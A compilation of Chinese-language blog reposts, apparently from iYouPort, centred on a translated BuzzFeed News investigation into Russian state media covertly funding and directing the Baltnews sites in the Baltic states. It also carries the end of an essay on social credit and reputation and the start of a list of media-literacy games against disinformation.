治理术是由法国哲学家米歇尔·福柯（Michel Foucault）在20世纪70年代末制定的一个术语。它强调通过受治理者的自愿参与来管理人们的行为。众包意见可以用作象征性暴力的手段，并对社会地位和行使个人代理的能力产生严重影响。

根据 J. Walter Thompson Intelligence 的Future 100趋势报告，在线

影响从购物到道德制裁的所有内容，包括他们所代表的个人和团体。例如，优步正在加强这种审查文化，根据他们的评级惩罚或奖励司机和骑手。

在中国，当局采用了福柯式的全景扫描实践，通过对其公民进行“社会评分”来加强更严格的控制。因此，新的“社会信用系统”根据金融交易和日常行为计算每个公民的分数。公民可能会因分数而受到惩罚，被禁止上学、乘坐公共交通工具，或因低分而被拒绝晋升。

在我看来，与声誉损害相关的风险将在2019年变得更加突出，因为个人和团体将面临更少的选择和过时的能力难以管理他们的声誉。

除了像特朗普这样的民粹主义领导人之外，公众人物将非常谨慎地调整他们在公共领域提出意见和真正价值观的方式。战略性模糊和印象管理的成熟对策将受到高度需求，以及，公共关系专家和诽谤律师的服务。

如果您和您的组织正在尝试挑战主流政治，请记住本文中提供的知识。好运。〇

原文

信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听 - iYouPort

心理战和信息战长读

该报告提示了一个危险的信号，即 看似独立的媒体事实上有可能是某些政府的宣传机器 …… 请尝试搜索“中国官媒名＋非虚构写作”，您将明白为什么我们要提示这个问题。但是，信息不透明的情况下该如何查证？

「图」

信息战在当下是冷战以来的再一次高峰，在这一全球大背景下，参与其中的国家都有可能采取类似的策略 — — 伪装独立的声音宣传国家政府的意识。这次明显是俄罗斯走在了“前位”，当中国还在努力遏制独立媒体的成长时，克里姆林宫正专注于伪装那些“独立声音”掩饰其信息战的真面目。这可比那些以中南海权斗传声筒为荣的中文海外八卦网站的运作要高明多了。

那些八卦网站不被信任不过是因为他们太不专业，制作粗糙，而“被信任”不过是因为很多中文读者严重缺乏鉴别能力、无心也无力对事实进行追踪和验证，并且，中国人无法履行公民义务，于是只剩下看热闹的心态，也就养活了那些莫名其妙的隐性宣传工具。

一旦这些八卦网站变得成熟，无疑将轻而易举促进北京当局的信息战之成果。本文将展示俄罗斯在宣传方面的专业性较高的战术，以及对其揭露的线索，希望能引起中文读者的警惕，否则，它就是全球华裔即将面对的未来，且极难被揭露。

更加值得警惕的是，俄罗斯的宣传机构可以借用完全真实的信息为线索，通过渲染以达成特定目的的宣传效果，就如他们曾经在关于 Tor 的资金来源的报道中所做的那样。据称中国的外宣一直在努力做到这点。这是一种极难被识别的隐性宣传。（详见这个 thread）

请结合我们推荐的 #OSINT 开源调查方法，发动更多人一起来挖掘。

"This Is How Russian Propaganda Actually Works In The 21st Century"

Skype logs and other documents obtained by BuzzFeed News offer a rare glimpse into the inner workings of the Kremlin's propaganda machine.

事实证明。俄罗斯政府谨慎地资助了东欧一组看似"独立"的新闻网站，以隐蔽性输出克里姆林宫向他们提供的故事。

俄罗斯国家媒体创建了秘密公司，以便为波罗的海国家的网站提供资金 — 这是俄罗斯与西方之间以及东欧和中亚其他地区的重要战场。

该秘密计划被披露，是通过 Skype 聊天记录、爱沙尼亚报纸 Postimees、以及调查性新闻出版商 Re：Baltica 通过信息自由法获得的文件，在爱沙尼亚作为对莫斯科当地个人进行刑事调查的一部分。

从调查人员查获的计算机中获取的 **Skype** 日志和其他文件揭示了俄罗斯在试图影响公众舆论并推动克里姆林宫谈话要点时使用的秘密和混淆策略。

"In other words — information warfare."

这些网站本身看起来是"独立"的新闻媒体，但事实上，编辑界线直接由莫斯科决定。

爱沙尼亚领先的战略传播专家 Raul Rebane 说，这个计划和其他类似计划是"在外国领土上开展的系统性信息相关活动。换句话说就是 —— 信息战。"

他说，波罗的海的俄罗斯宣传网络已经运营多年，并且最近变得更加激烈了。

"将[爱沙尼亚]从面对西方转向面向东方的压力已经增大。"

莫斯科一直试图影响波罗的海国家如立陶宛、拉脱维亚和爱沙尼亚的公众舆论，这些都是北约的成员。关于波罗的海国家网站的揭露提供了一个罕见而详细的内部视角，了解这种虚假宣传活动的运作方式，以及莫斯科希望掩盖其参与此类计划的时间长度。

在波罗的海地区，俄罗斯与欧盟直接接壤，北约拥有庞大的军事存在，但也许最重要的是，该地区有成千上万的俄罗斯人，主要是在爱

沙尼亚和拉脱维亚。

当俄罗斯总统弗拉基米尔·普京于 2014 年从乌克兰吞并克里米亚半岛时，他是以保护“俄语发言人”的利益为借口的。所以在波罗的海国家，俄罗斯的宣传是一种真正的现实的恐惧，并解释了为什么影响公众舆论的莫斯科应该受到如此严肃的对待。

调查人员获得的记录和 Skype 日志提供了一个揭露的机会，拉开了克里姆林宫的宣传机器内部工作的窗帘，这次针对的是波罗的海的俄语传声筒。

「图」

Aleksandr Kornilov

2014 年10月初，亚历山大·科尔尼洛夫（Aleksandr Kornilov）— 爱沙尼亚俄罗斯同胞协调委员会成员，该组织以其俄语首字母缩写 KSORS 而闻名 — 似乎正在处理少数民族权利，如俄语教育问题，但被爱沙尼亚反间谍机构视为克里姆林宫外交政策的工具 — Kornilov 接受了立陶宛一家名为 Delfi.lt 的新闻网站的采访，关于该组织在波罗的海地区推出三个新网站的话题，全称为 Baltnews。

Kornilov 告诉记者说，在立陶宛、爱沙尼亚和拉脱维亚分别推出的这些网站将成为独立的门户网站，“避开政治”。

“门户网站将是娱乐性的; 你不会成为竞争对手，“他告诉记者。“概念是这样的 — 一个普通的、有趣的、非政治性的门户网站。”

但现实却截然不同。事实上，这些网站是莫斯科资助和指导的，是俄罗斯最大的国家媒体机构的一部分。

在 BuzzFeed News 及其报告合作伙伴获得的 Skype 聊天记录中，Kornilov 由 Rossiya Segodnya 的一名员工订购报道的选题，后者负责运营网站和新闻机构 Sputnik、以及新闻机构 RIA Novosti，并与 RT（以前称为今日俄罗斯，紧密相关）— 严格遵守经批准的主题清单。

> *“I have a task. Every day you need to report on three of the five topics that we will suggest.”*

“San，请回复，”这是于 2015 年6月发出的消息，这是 Aleksandr Svyazin 名字的缩短版。

“Aleksandr, 快出来！”他后来说，越来越不耐烦了。

“在了”，Kornilov 终于回应道。

“San，你好！我有一个任务，“Svyazin 说。“每天你需要报告我们建议的五个主题中的三个。”

在收到第一个主题列表后，Kornilov 用俄语单词回答“понятно” — 意思是“理解”。

Skype 日志表明，Svyazin 是整个计划中 Kornilov 的主要联系人，因为他们在两年期间互相发送了数千条消息，并定期就网站的编辑问题进行交谈。

当 BuzzFeed News 在 Facebook 上联系他时，Svyazin 否认与 Sputnik 或伪独立媒体 Baltnews 存在联系。Svyazin 在被展示 Skype 聊天记录的屏幕截图时没有回复 — 截图中他的 Skype 头像清晰可见 — 显示了他和 Kornilov 之间的交谈。然而，在随后向 BuzzFeed News 记者发布的 Facebook 消息中，Svyazin 将所有疑问都提交给了 Rossiya Segodnya 的新闻办公室。

Kornilov 和 Svyazin 之间的这种交流是 Skype 日志揭示的众多信息之一，表明网站并非如表面看起来那样是独立的，正如文件所示，这些网站是 **Rossiya Segodnya** 策划、资助和管理的宣传活动的一部分，它在欧洲设立了作为莫斯科大喇叭的出口。

Baltnews 网站于 2014 年 10 月推出后不久 — 在拉脱维亚、爱沙尼亚和立陶宛创办了三个几乎相同的网站 — — Rossiya Segodnya 员工 Svyazin，一位在东欧和中亚各个 Sputnik 网站上的被授权作者，在 Skype 上告诉 Kornilov 开始发送关于即将发生的重大事件的每周报道。

“Aleksandr，我们要求您发送有关下周即将举行的活动的信息。你可以做到吗？发送时间为周日或周一，“Svyazin 于11月10日这样写到。

“关于什么的信息？” Kornilov 问道。

“关于下周即将举行的主要活动。你知道，就像周二政府开会，周三政府让位，周四奥巴马访问，周五还有别的东西……’“Svyazin 说。

“我没有像政府会议、会议崩溃或奥巴马访问这样的新闻，” Kornilov

回答道。

“这只是一个例子，”Svyazin 说。“发送你有的东西。”

到 11 月 19 日，Svyazin 似乎要求更高了。

“Aleksandr，迫切需要下周即将发布的重大事件预览。又过了一个小时已经太晚了，“ 他写道。

“我没有啊，” Kornilov 回答说。

“但我从哪里可以得到它们？我需要在下午 4 点之前将它们添加到日历中“。

Kornilov 似乎并不急于编制即将发生的事件清单。两人继续讨论哪些事件适合放入日历，但在接下来的几周里，Svyazin 不得不一再提醒他履行职责。

12月18日，Svyazin 告诉 Kornilov 还有另一个命令。

“我们有权发布五项关于欧洲的调查，由一家欧洲公司根据旗舰 [RIA Novosti] 进行。发表的材料需要包括专家的全面评论，“他告诉 Kornilov，“保持联系 — 稍后我会发送材料。”

一天后，Svyazin 再次通过 Skype 表示他们决定将出版物推向同一天。

Kornilov 发表的第一份调查报告称，英国、法国和德国几乎有一半人希望欧盟更加独立于美国，这是关于大多数欧洲人在决定对俄罗斯实施制裁时不相信欧盟独立的第二项调查，第三是，欧洲人民越来越担心欧盟对美国的依赖程度。

2月，Svyazin 向 Kornilov 发送了另一份关于 RIA Novosti 调查的链接，该调查涉及美国人对他们的警察部队几乎没有信任。这一次，他甚至不需要告诉 Kornilov 应该为爱沙尼亚的 Baltnews 写自己的版本。“大多数美国人并不认为警察是他们安全的保障，” Baltnews Estonia 发表的标题这样写道。拉脱维亚和立陶宛版本的 Baltnews 在同一天也发布了类似的报道。

所有这些调查都被描述为由总部位于伦敦的 ICM Research 进行，该研究在最初的 RIA Novosti 报道中被称为“著名的英国民意调查公司”。现在以 **ICM Unlimited** 名义运营的 **ICM Research** 告诉

BuzzFeed News，他们从未为 **RIA Novosti** 工作，但确实为 **2015** 年 **Rossiya Segodnya / Sputnik** 发布的消息进行了一些调查。“不幸的是，我们的记录无法回溯到 2015 年，我们无法确认[在本文中提及的]这些调查是由 ICM 进行的、还是是否被错误地归咎于我们了“，该公司的研究主管 Gregor Jackson 说。

在 2015 年6月的 Kornilov 与 Svyazin 之间的 Skype 对话中，Rossiya Segodnya 员工提到了 Rossiya Segodnya 要求 Baltnews 的报道主题列表。

第一份日报列表于6月19日当天发出，其中包括扩大对俄罗斯的制裁、询问有关希腊退出欧元区的可能性、以及普京在圣彼得堡国际经济论坛上的面对面会晤。

从7月初开始，每日列表中的一些主题开始在括号中附加俄语单词 обязательно — 意思是“强制性”。强制性主题通常是那些在欧盟或美国内部表现出紧张局势的主题，以及那些涉及乌克兰东部和克里米亚冲突的主题。

其他必须涉及的新闻领域包括希腊未向国际货币基金组织偿还债务，克里米亚从乌克兰能源网络中切断，以及美国海军战列舰进入黑海。

「图」

Moscow headquarters of Russia’s Rossiya Segodnya, Nov. 12, 2017.

以下是关键部分 — — 关于资金的调查，也就是验证一家媒体平台是否“独立”的重要依据。

这一隐性宣传计划的工作方式如下：资金通过俄罗斯境外的空壳公司提供，直接编辑发布订单通过 Skype 发送，网站基于他们发布的头条新闻返回报告，同时他们还购买了点击量，并测试了俄罗斯巨魔工厂的购买评论以提高“反馈数量”。

这些报道和网站的真实性质只是通过逃税调查和对 Kornilov 的伪造刑事调查而曝光的 — — Kornilov 是一名55岁的俄罗斯公民，在爱沙尼亚反间谍机构 KAPO 描述为俄罗斯宣传员的公开报告中出现 — 以及在该国的信息自由请求之下。Kornilov 个人没有被定罪，但根据爱沙尼亚法律，他在这些计划中设立和使用的非政府组织允许其他公司和机构的起诉和定罪。

文件显示，Rossiya Segodnya 于2014年10月在爱沙尼亚、拉脱维亚

和立陶宛建立了俄语新闻网站 — — 就是俄罗斯吞并克里米亚六个月后，以及俄罗斯支持的分离主义者和乌克兰在乌克兰东部的战争。

这些网站都有相同的名称 — 都叫 Baltnews — 只有不同的国家/地区代码来区分他们的域名。它们作为独立媒体网站为当地俄语人口提供信息。该项目在爱沙尼亚的合作伙伴正式成为由 **Kornilov** 管理的名为 **Altmedia** 的非政府组织，于**2010**年成立，代表该国的俄语使用者。

当被 BuzzFeed News 要求评论时，Kornilov 说，由于他不再为 Baltnews 工作，他不准备回答记者关于这些网站的提问。“这对我来说不再有趣”，他说。随后与他联系的尝试均未成功。

Altmedia 签署的第一份与网站有关的合同是和一家名为 Media Capital Holding BV 的集团（总部设在荷兰，并由 Rossiya Segodnya 通过几家前线公司拥有）时间是2014年8月18日，此时 Altmedia 负责“创建”和促进爱沙尼亚和波罗的海国家的媒体项目。

根据税务审计和通过信息自由请求获得的部分文件，**Atlmedia** 共收到 **91,400** 欧元（约合 **107,000** 美元）的五笔单独付款，其中四笔来自 **Media Capital Holding**，另一台来自 **Barsolina Ventures**，一家在塞浦路斯注册的公司。

2015 年初，Altmedia 开始向 Barsolina Ventures 发送月度流量报告，包括阅读量最高的头条新闻。未签署的报告是指 2015 年1月1日的新合同。作为交易的一部分，Barsolina Ventures 将每月向 Altmedia 支付 11,400 欧元。这种安排一直持续到 2016 年，也就是这些文件所涵盖的最近一年。根据公开数据，似乎 Altmedia 继续获得此类资金，直到今年春天，当时 Rossiya Segodnya 取消了这项行动。BuzzFeed News 与 Rossiya Segodnya、RIA Novosti 和他们的新闻团队联系，在三封不同的电子邮件中请求评论，但没有人回答。

下一家与 Altmedia 达成协议的公司是 SPN Media Solutions DOO Beograd，一家在塞尔维亚注册的公司。来自塞尔维亚商业登记处的文件显示，它是由 **2015** 年**3**月**31**日由俄罗斯 **Rossiya Segodnya** 通过不同中介机构拥有的另一家公司 **OOO Media Kapital** 创建的。

SPN Media Solutions 的地址在 Stanisic 律师事务所的办公室注册，该办公室位于贝尔格莱德市中心的一个高档社区。

根据公司自己的财务审查，这里根本没有员工。但在 2015 年、2016

年和 2017年，其年营业额约为 350 万欧元，所有收入均来自“国外市场”。据塞尔维亚商业登记处称，自公司成立以来，其管理人员在登记处提交的个人护照信息显示，他们是俄罗斯公民。

帮助建立 SPN Media 的律师事务所的合伙人 Tanya Stanisic 拒绝发表评论。“不幸的是，我无法帮助你。我无权与您讨论客户的业务。此外，“律师职业道德守则”要求律师与客户之间的关系保密“，她在回复 BuzzFeed News 发送的电子邮件中说道。

SPN Media Solutions 感兴趣的不仅是爱沙尼亚。BuzzFeed News 从7月份获得的乌克兰法院命令中引用乌克兰安全局（SBU）的话说，同一家公司正在暗中融资 RIA Novosti 的乌克兰分支机构。

SBU 的副主管 Viktor Kononenko 在5月份表示，塞尔维亚公司每个月都将 **53,000** 欧元的**“Russia origin”**转移给乌克兰公司，这些公司将资金汇集到俄罗斯国家通讯社在该国的分支机构。当被 BuzzFeed News 联系以征求意见时，Kononenko 没有回复。

RIA Novosti Ukraine 的负责人 Kirill Vyshinsky 于5月被 SBU 逮捕，被指控犯有叛国罪、并帮助俄罗斯针对乌克兰进行信息战。在 BuzzFeed News 获得的法院命令中，RIA Novosti Ukraine 被指控主持和分发了 16 篇反乌克兰的文章，旨在分裂乌克兰社会，制造分裂主义情绪，并激起不同种族之间的仇恨。Vyshinsky 的律师 Andriy Domanskyy 没有回复要求发表评论的电子邮件，但 Vyshinsky 此前否认了这些指控。

「图」

The Baltnews homepages, Aug. 28.

有关该计划如何在爱沙尼亚运营和资助的文件和 Skype 聊天仅与该国有关，但在拉脱维亚和立陶宛创办的 Baltnews 版本似乎也以类似的方式运作 — 所有三个网站看起来都相同，它们被同时设置，在同一天发表很近似的报道。这三个国家的本地安全服务都认为这些网站属于同一项业务。

此外，根据 BuzzFeed News 获得的文件，拉脱维亚 Baltnews 分公司确实向 Barsolina Ventures 提交了至少一份月度报告。

Baltnews.lv 的财务报告显示它的年营业额为 10 万欧元，但几乎没有广告，也没有付费订阅。

该网站的主编 Andrejs Jakovlevs 拒绝置评，称财务状况不是编辑人员可以讨论的问题。他说与 RIA Novosti 有一个信息共享安排，但没有交换任何金钱，也没有人告诉他应该写什么。

> *“Their goal is to extend Russia’s influence within Lithuania’s information space, promote anti-western sentiments, and shape public opinion favourable to Kremlin.”*

但拉脱维亚的内部反间谍和安全服务（DP）称，根据其信息，Baltnews.lv 的资金来自俄罗斯，使用的是第三方国家的公司。

“[DP] 获得的信息表明，从俄罗斯获得的资金是 Baltnews.lv 的主要收入来源，”DP 副主任 ĒriksCinkus 告诉 BuzzFeed News。

与此同时，在立陶宛，该国的情报机构 VSD 将 Baltnews.lt 和 Sputnik 确定为俄罗斯在该国传播亲克里姆林宫信息的渠道。

“他们的目标是扩大俄罗斯在立陶宛信息领域的影响力，促进反西方情绪，塑造对克里姆林宫有利的公众舆论，”VSD 在其最新的年度报告中写道。

该报告称，2017 年，根据俄罗斯的命令，Baltnews 和 Sputnik 开始发表更多关于波兰社区在立陶宛的地位的文章。

“他们试图煽动民族对抗，恶化立陶宛与波兰之间的关系。该报告称，这些出版物试图说服读者立陶宛歧视波兰当地社区，或者给人的印象是波兰不会放弃“对其邻国的领土要求”。

直到今年6月1日，Baltnews.lt 的主编是 Anatoly Ivanov，他所经营的非营利组织 — 名为欧亚媒体实验室的财务数据显示，他正在从 Barsolina Ventures 获得大量资金。

根据立陶宛商业登记处的报告，欧亚媒体实验室在三年内收到约 50 万欧元。2015 年和 2016年，Barsolina 每年向欧亚媒体实验室支付 163,200 欧元。2017 年，欧亚媒体实验室报告了 185,472 欧元的收入，其中绝大部分来自 Barsolina 的“互联网网关服务”。当 BuzzFeed News 通过电话联系时，Ivanov 没有回答有关付款的任何问题。

“年轻人，你可能没有理解我的意思。我很忙 — 我办公室里有其他人，你可以问任何你想要的东西。如果你听不懂俄语，我可以用立陶宛语解释，“ Ivanov 说，从一种语言转换到另一种语言。“有人坐在

我的办公室里。而且我不想浪费时间。“

当再次询问有关50万欧元的付款时，他在挂断电话之前叹了口气，没有给出任何进一步的回复。

除了提供资金外，Rossiya Segodnya 似乎还直接协调了所有三个 Baltnews 网站应涵盖的主题。Baltnews 不仅与所谓的“远离独立娱乐网站”声称一点不沾边，而且似乎还是一个更大机器中的一个齿轮。

2016 年5月25日，Svyazin — 可能是误操作 — 向 Kornilov 发送了一系列主题，这些主题似乎显示了前苏联克里姆林宫所有媒体的预期覆盖面：波罗的海国家，吉尔吉斯斯坦，白俄罗斯，格鲁吉亚，摩尔多瓦，乌兹别克斯坦，哈萨克斯坦，阿塞拜疆和俄罗斯支持的格鲁吉亚奥塞梯分离地区。爱沙尼亚在名单中有两个单独的条目 — 一个用于 Baltnews，另一个用于本地版的 Sputnik。

BuzzFeed News 将主题列表与当天在这些国家发布的报道进行了比较，发现除了两个本地版本的 Sputnik 之外，其他所有版本都确实发布了规定的内容。根据指示，吉尔吉斯斯坦的斯普特尼克斯写了一篇关于当地商业大亨 Sharshenbek Abdykerimov 秘密拥有塔楼公寓的消息，当时是伦敦最高的住宅摩天大楼。

正如你看到的那样，Georgian Sputnik 写了关于该国女性政治家着装感的文章，包括大量的例子和照片。在摩尔多瓦，当地的 Sputnik 网站被命令涵盖本国货币对俄罗斯卢布和石油价格的依赖性。它通过发布一个标题为“对我们 Leu 的诊断：打破另一个依赖关系“的新闻报道来完成任务。

有时，在俄罗斯的其他人会指导报道。2015 年7月20日，Rossiya Segodnya 的多媒体编辑要求关于东乌克兰分离主义者的部队和武器流动的新闻报道。在接下来的几个月中，这些网站便定期对强制性主题进行类似的报道。有些订单也来自一位女士，她在 Skype 上以 Kiana Lil Minasyan 的身份向 Kornilov 介绍自己，并说她是“计划与波罗的海国家打交道的多媒体计划”的编辑。另一位参与指导爱沙尼亚报道的人似乎也曾前往爱沙尼亚招募当地的 **Sputnik** 记者（中国的外宣也在被宣传国家招募当地记者）

爱沙尼亚反间谍机构 KAPO 在 2015 年将 Minasyan 确定为爱沙尼亚 Sputnik 办事处的主管。“自 2015 年春季以来，Rossiya Segodnya 一直致力于在爱沙尼亚建立办事处，并为 Sputnik 和俄语语言门户提供服务，”KAPO 在 2015 年透露回顾并补充说，“莫斯科的 Liana

Minasyan”是监督办公室的一员。去年 Minasyan 向 Re：Baltica 确认她负责波罗的海地区的所有 Sputnik 网站，但否认参与了隐性宣传机器 Baltnews 的计划。

当 BuzzFeed News 再次追问时，Minasyan 说她不再与 Baltnews 或波罗的海国家合作了。“如果你愿意，我会把你的问题转发给我的前同事，”她说，并没有回复后续问题。

记录显示 Kornilov 和 Svyazin 的每日 Skype 会议持续了数月，两名男子有时会争论 Kornilov 被要求提交的每周和每月的流量报告。

在一个案例中，Kornilov 说合同草案中有一个错误 — 说的不是“爱沙尼亚语”，而是“拉脱维亚语”，这是另一个迹象，表明在每个波罗的海国家都签署了类似的宣传运作合同。

他们的谈话有时会超出工作范围 — — 有时他们抱怨他们的老板和他们参与的官僚机构。记录还显示他们在俄罗斯见过几次面。

从一开始，Kornilov 就试图编织一个独立新闻网站的幻想。当立陶宛 Delfi.lt 报道了宣传机器 Baltnews 的发布时，Kornilov 将自己标示为这三个网站的出版商。波罗的海三个国家的所有域名当时都以他的名字注册，但很快就重新注册到了 Media Capital Holding BV — 就是那个由 Rossiya Segodnya 代理人在荷兰注册的公司。

> *“The terms are confidential. I am the editor-in-chief and communicate directly with their representative in Estonia. Right?”*

在 Delfi 发布新闻报道后，Kornilov 立即就与爱沙尼亚的亲俄罗斯记者 Jevgeni Levik 进行了对话，他在 Baltnews 担任第一任总编辑，但在发布前不久被 Kornilov 解雇。

“我们的官方立场是这样的：我们正在与外国投资者一起开发一个互动信息项目，”根据信息自由法获得的 Skype 聊天中，Levik 在解雇之前是这样说的。

如果记者询问网站的投资者的话，他们还讨论了如何应对。“也许我们应该给他们公司的名字，我相信很多人不会拒绝了解它。还可以包括所有联系人？再准备一份商业计划，“ Kornilov 回答说，看似有点讽刺。

Levik 说，“如果他们问荷兰人是谁，我会回答他们是私人的，这是一

个私人商业项目。这些条款是保密的。我是主编，直接与他们在爱沙尼亚的代表沟通。对吧？”

“是。你应该只处理你职权范围内的事。确切地说，那里的人不是私人的，它是一个投资基金会，“ Kornilov 说。

当 BuzzFeed News 通过电话联系时，Levik 拒绝发表评论。“这都有四年的历史了。我只是一名记者，“他说。

「图」

Moscow headquarters of Russia’s Rossiya Segodnya state media group, which runs the Sputnik news agency.

Skype 聊天记录还显示，多年来爱沙尼亚宣传机器 Baltnews 通过购买提供此类服务的俄罗斯公司的虚假独特访客来夸大其网站流量（就是机器人水军炒作，在中国也很流行，所有门户网站都会买这个）。Kornilov 的朋友和助手 Aleksandr Dorofeyev 早在 2014 年10月就接触过一家这样的公司，同月 Baltnews.ee 就推出了。Dorofeyev 没有说他为什么需要提高网站流量。

“我想首先要进行 2,000次 [综合阅读量]的测试，如果一切正常，那么[我们将做出更大的订单]为 14,000 卢布，[按今天的汇率约为 200 美元计算]。这些虚假访客是否会在一天内均匀分配？如果我订购 10 万，您可以在整个月内均匀分配它们吗？“他在 Skype 聊天里处理 Раскруткасайтов — 网站推广的话题中这样询问道。

由于 Baltnews 和俄罗斯网络公司继续开展业务，最初的测试似乎进展顺利。Dorofeyev 被告知，100 万次网页浏览量将花费 10,990 卢布（按今天的汇率计算约为 160 美元）。Skype 日志表明，他在接下来的几个月内又下了几笔订单。2015 年3月，Dorofeyev 说他正在寻找一个长期安排，每周有一到两个订单。

大部分订单需要通过电子邮件或指定网站提交，但偶尔 Dorofeyev 也会直接在 Skype 上发布订单。2016 年2月18日，他在四个不同的故事中要求提供 20,000 的综合阅读量，浏览时间要在 90 到 120 秒之间。其中一个他想要人为地提升读者数量的报道标题是“北约对爱沙尼亚的帮助可能无法及时到达”；另一个是关于当地极右翼政治家承诺与难民作斗争的故事。

Skype 聊天显示 Dorofeyev 并没有停留在虚假访客身上：他还为特定

故事在巨魔工厂购买了虚假评论。每条评论的价格是 9 卢布（仅 0.13 美元）。起初，Dorofeyev 下令在 Kornilov 和他私下经营的另一个宣传网站 Baltija.eu 上进行练习。

“让我们从两个不同的人的 50 条评论开始。如果一切顺利，我们可以继续在其他网站和更多的帖子上合作，“Dorofeyev 指示一个名为 Artem 的人说，此人提供巨魔工厂服务。

Skype 聊天记录显示，Dorofeyev 对巨魔工厂是否可以使用不同的 IP 进行虚假评论这事比较感兴趣。该服务提供商问为什么。“我们需要独特的 **IP**，以便其他人没理由怀疑这其中有什么事。总的来说，我们需要这样一群人，“Dorofeyev 回答道。

Artem 的姓氏不为人所知，该公司的政策不允许其参与在其他网站上发表的评论。“我们拥有版权，”他说，并指导 Dorofeyev 遵守条款和条件。但他们仍同意继续进行 Baltija.eu 的测试。

当 BuzzFeed News 接洽时，Dorofeyev 拒绝回复关于购买网页浏览量和评论的提问。他说他只在爱沙尼亚的 Baltnews 担任日报编辑：“我写了并发表了我认为重要且有趣的新闻。”他还表示拒绝任何人告诉他应该写些什么的想法。

当被告知 Skype 聊天日志显示他参与人为增加网站流量时，Dorofeyev 努力否定这点，还打了个比方，说他虽然可以获得登月的票，但“不能证明我真的登上了月球。”他拒绝分享他的电子邮件地址，记者询问电邮是为了把他登录 Skype 的日志发送给他。

爱沙尼亚 KAPO 机构的负责人兼发言人 Harrys Puusepp 告诉 BuzzFeed 新闻，Baltnews 计划符合其他克里姆林宫宣传活动的运作方式，并展示了他们的秘密金融计划如何被用来使敌对宣传合法化。

“这是一个生产和融资政治宣传的恶性循环，它被伪装成当地俄罗斯人的真实声音，以便利用扭曲的公众形象来支持他们在国际平台上的外交政策目标，” Puusepp 说。

「图」

BuzzFeed News 获得的文件和 Skype 日志一直持续到 2016 年夏天 — — 爱沙尼亚警方在伪造文件的刑事调查中扣押了 Kornilov 及其同伙的计算机。公开数据显示，Baltnews 宣传机器的融资计划持续超过该日期。2016 年，在与爱沙尼亚税务机关和警方的调查陷入僵局

后，Kornilov 改变了他用来经营 **Baltnews** 的非政府组织。他开始使用一个名为 **Baltnewsmedia** 的新 **NGO**，而不再是 **Altmedia**。

根据 Baltnewsmedia 的财务记录，它在 2016 年收到了 136,800 欧元的捐款。审查没有具体说明捐款的来源，但它们每月恰好都达到了 11,400 欧元 — 即 Barsolina Ventures 过去发送给前“NGO” Altmedia 的数目总和。2017 年，捐款达到 155,508 欧元。

今年 6 月1日，所有三个 Baltnews 网站都发布了同一条简短的信息，称由于出版商的变更，将组建一个新的编辑团队。同一天，Kornilov 在 Facebook 上发布消息说他的团队已经结束了与 Baltnews 的联系。“感谢所有与我们在一起工作四年的人，”他写道。

四天后，他与爱沙尼亚检察官办公室达成了认罪协议。虽然 Kornilov 设法避免了对税务欺诈和伪造文件的定罪，但他在出版 Baltnews 时创立和使用的非政府组织 Altmedia 被定罪了 — — 允许 Kornilov 个人保持一份干净的记录，尽管法庭判决明确表明他在安排和执行逃税计划和伪造证件方面所起的作用。

拉脱维亚 Baltnews 网站，当通过其一般电子邮件地址联系以征求意见时，他们将所有问题提交给 Rossiya Segodnya 的新闻办公室。Buzzfeednews 说，发送到那里的电子邮件仍未得到答复。

目前，Baltnews 仍继续在波罗的海三个国家出版。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

在数字信息战时代，如何才能避免上当受骗？来，玩几个游戏 - iYouPort

心理战和信息战

介绍7个游戏，致力于培养您的鉴别能力

「图」

「图」

互联网媒介给了信息战和操纵式宣传以前所未有的便利。原因有多种，其中最重要的原因是，在互联网信息消防栓的冲击下，绝大多数人难以或根本无法保持批判性思考。

加之，操纵者专注于制造刺激性的、入侵人性弱点的虚假消息，即便是擅长思考的人也难以时刻保持警惕。

不久前曾经发布过一篇揭露全球信息战黑公关产业的报道，在这里回顾《如何在网上兜售谎言？—— 他们承诺可以"按照你的意愿改变任何现实"》其中介绍了这些黑公关公司如何伪装成 "独立的真相核查" 组织，贼喊捉贼。

简单说，网上的信息核查平台也不能完全相信。

无需怀疑，这些人做得出，因为互联网信息战已经是利润丰厚的全球性产业；也正因此，揭露和曝光并无法阻止它。

越来越多的人被恶意的虚假消息所操纵，被愚弄的公民已经无法行使民主权利、难以做出清晰的判断和准确的决定，民主正在面临危机。

无法通过揭露阻止恶意虚假，更不能将辟谣的权力交给当权者 —— 当权者自己就是信息战的主谋或最大受益人（《为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？》）。

这种情况下唯一的办法只能是，普及真伪验证的技术和技巧、尤其是

鉴别的思考方式，给大众防身。

这就是为什么IYP 的列表 -3 中有独立的板块 “让它民主”，其中收集的知识都将帮助普通公民获得验证虚假消息的基本技能；并且在 “心理战和信息战” 板块中详细介绍了当权者以及这些黑公关产业行为者控制公民认知的手段。

全球公民社会都在努力反信息战操纵，致力于通过各种渠道向大众传授鉴别方法，其中一些渠道显然可能更吸引人，比如娱乐性的 —— 通过游戏来实现。

本文将汇总一些游戏资源，它们都能帮助普通公民培养更专业的媒体素养，以抵制虚假信息的侵袭。

这些游戏的范围从让用户陷入假新闻生成器的环境、到模拟成为广播记者并决定信任哪些来源的情况。

一些高校已经开始在课堂上传授媒体素养知识，比如宾夕法尼亚大学。

现在您也可以来试试看，测试一下您的慧眼是否够亮。

1、"Bad News"

这是荷兰一家旨在打击虚假信息的组织 DROG 开发的游戏，其中用户扮演一名假新闻作者。

目标是：获得尽可能多的追随者，同时建立虚假的公信力。

如果你说出了 “明显的谎言、或让支持者失望了”，你就输了。也就是说，你必须 “骗” 得足够深入。您将从中理解到信息战推手的思路，从而习得抵御方法。

剑桥大学最近的一项研究发现，玩 Bad News 能够增加您对虚假信息的 “心理抵抗力”。

2、 "BBC iReporter"

BBC在2018年推出了这款游戏，旨在帮助11–18岁的青少年识别网上的虚假信息。

这款游戏让用户置身于BBC记者的位置，他们必须决定哪些社交媒体

帖子、政治主张、和照片可以被信任。

游戏中还包括如何识别在线造假的提示。

3、"Fakey"

Fakey 是一款类似 iReporter 的游戏。它模拟了一个社交媒体的新闻源，用户被问到他们想分享、点赞、或核查哪些帖子。

用户通过分享来自可信新闻机构的内容和对有问题的消息来源进行事实核查，来赢得分数。

4、"NewsFeed Defenders"

这个由宾西法尼亚大学安纳伯格公共政策中心和非营利教育机构 iCivics 共同推出的在线模拟游戏，旨在教会人们如何评估在线信息来源。

用户选择自己的身份，并负责选择在自己的网站上策划哪些帖子、调查哪些帖子。

